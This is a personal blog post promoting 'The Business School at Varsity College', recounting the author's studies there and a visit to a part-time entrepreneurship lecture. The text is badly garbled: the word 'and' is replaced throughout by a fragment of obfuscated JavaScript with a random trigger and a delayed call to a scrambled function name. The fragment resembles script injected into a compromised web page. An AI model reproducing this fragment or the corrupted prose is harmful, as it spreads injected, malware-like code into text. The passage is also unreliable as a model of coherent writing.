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    The Business School at Varsity College

    Written by Barry Lewin on . Posted in Coaching

    Though my relationship with Varsity College I have been exposed to a number of different parts to their offering as a learning facility.image002I started in full time classes, at their Durban City town campus in 2002 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it amazes me how things have evolved. I love walking through the Varsity College campus’s of today, as the hallways exude a vibe that is young, fun, yet professional. The inspiring quotes on the walls pushing the purpose of why the students walk the halls, to expandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their knowledge andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and open their minds.

    As Varsity College has evolved so has their part time offering. This section of Varsity College has recently taken on a new look andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and feel under new name “The Business School at Varsity College”

    In my studying career, I did a number of class’s part time, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and believe it was very influential on the way I do business today. The people in my lectures had great practical examples, real world experience andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a unique perspective I hadn’t found in full time classes.

    It even shows in how the Business Schools see themselves. Check out their intro from their website.

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    I wanted to know more about the Business school, so organized to sit in on a lecture this last week.

    Walking into the class I got a warm greeting from the lecturer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and students (all business owners themselves). Most were chatting in groups like old friends having done a couple of weeks together already in the Entrepreneurship andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Small Business Development Course. The proceedings kicked of with a 15min open floor chat relating to what was happing in the students businesses. This was awesome for me, a business owner myself, seeing others with similar struggles andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and successes.

    The experience was a blast from the past in some ways for me, seeing open minds, interacting andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and learning from one another as I did during my degree. The look andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and feel of the Business School may have changed but the ethos of preparing students for industry andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their careers is still the focal point of the learning.

    I was impressed with the lecturer in navigating andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nurturing the high level of interaction between the students. He added structured theory to the student’s practical applications andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and even offered in some examples from his own business (also being from industry like the students made it easier for the students to relate).

    I certainly come away from the experience with one thing being very clear, “We Never Stop Learning”

    Now that may seem cliché, but seeing 20 business owners, taking on the world, trying to improve themselves andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and there business, is really inspiring. At no stage do we as humans do ourselves any favors by sitting still andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and resting on our loral’s. It’s by getting out there andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and challenging ourselves that we grow.

    I certainly will be challenging myself more leading into 2016. I challenge you to do the same. If you would like the challenge to be a course at the Business School check out their website at www.thebusinessschool.co.za for the courses they offer.

    You are also welcome to drop me a email with any questions to barry@barrylewin.co.za

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